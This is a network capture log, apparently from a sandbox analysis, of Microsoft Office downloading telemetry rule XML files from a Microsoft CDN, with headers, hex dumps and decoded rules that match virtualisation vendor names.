Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:26 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: b70f59bb-c01e-0079-1f91-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230827Z-178bfbc474bq2pr7hC1NYCkfgg000000085000000000qsz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:26 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230827Z-174c587ffdf9xbcchC1TEBxkz400000006cg00000000n1nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:27 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 3074f9d5-701e-001e-47fc-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230827Z-178bfbc474bv7whqhC1NYC1fg4000000081000000000q3nd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:27 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230827Z-174c587ffdfl22mzhC1TEBk40c00000006t00000000092gc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:29 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230829Z-178bfbc474bh5zbqhC1NYCkdug000000085000000000181a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 08e3daf0-d01e-002b-25fd-3e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230829Z-15b8b599d885ffrhhC1TEBtuv000000006hg00000000tn0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:29 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230829Z-174c587ffdf9xbcchC1TEBxkz400000006cg00000000n1sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 753d71cc-101e-0065-41b6-3e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230830Z-178bfbc474bxkclvhC1NYC69g40000000850000000002e5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:31 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:31 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8a5d0632-c01e-0046-08fc-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230831Z-178bfbc474bnwsh4hC1NYC2ubs000000088g0000000056a4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:31 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:31 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:31 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 6ed2b457-801e-00a0-465b-3f2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230831Z-178bfbc474bpscmfhC1NYCfc2c00000006tg000000003hf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 23:08:31 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:31 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: dea688b9-b01e-003d-136c-3dd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230831Z-15b8b599d88tr2flhC1TEB5gk400000006r000000000b9ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:31 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:32 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd9e7967-901e-008f-4169-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230832Z-178bfbc474bv587zhC1NYCny5w0000000820000000005afn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" 